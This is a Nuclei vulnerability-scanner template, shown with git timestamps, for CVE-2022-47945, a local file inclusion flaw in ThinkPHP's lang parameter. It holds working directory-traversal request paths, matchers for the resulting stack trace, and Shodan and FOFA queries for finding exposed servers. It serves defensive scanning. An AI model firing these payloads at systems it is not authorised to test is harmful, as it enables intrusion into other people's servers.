nuclei-templates/cves/2022/CVE-2022-47945.yaml

45 lines
1.4 KiB
YAML
Raw Normal View History

id: CVE-2022-47945
2022-12-23 07:25:38 +00:00
info:
name: Thinkphp Lang - Local File Inclusion
2022-12-23 07:25:38 +00:00
author: kagamigawa
severity: critical
2022-12-23 07:25:38 +00:00
description: |
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
2022-12-23 07:25:38 +00:00
reference:
- https://tttang.com/archive/1865/
- https://nvd.nist.gov/vuln/detail/CVE-2022-47945
- https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
- https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-01-16 10:43:45 +00:00
cve-id: CVE-2022-47945
2022-12-23 07:25:38 +00:00
metadata:
fofa-query: header="think_lang"
shodan-query: title:"Thinkphp"
verified: "true"
tags: cve,cve2022,thinkphp,lfi
2022-12-23 07:25:38 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/?lang=../../thinkphp/base"
- "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Call Stack'
- 'class="trace'
condition: and
- type: status
status:
- 500
# Enhanced by mp on 2023/01/15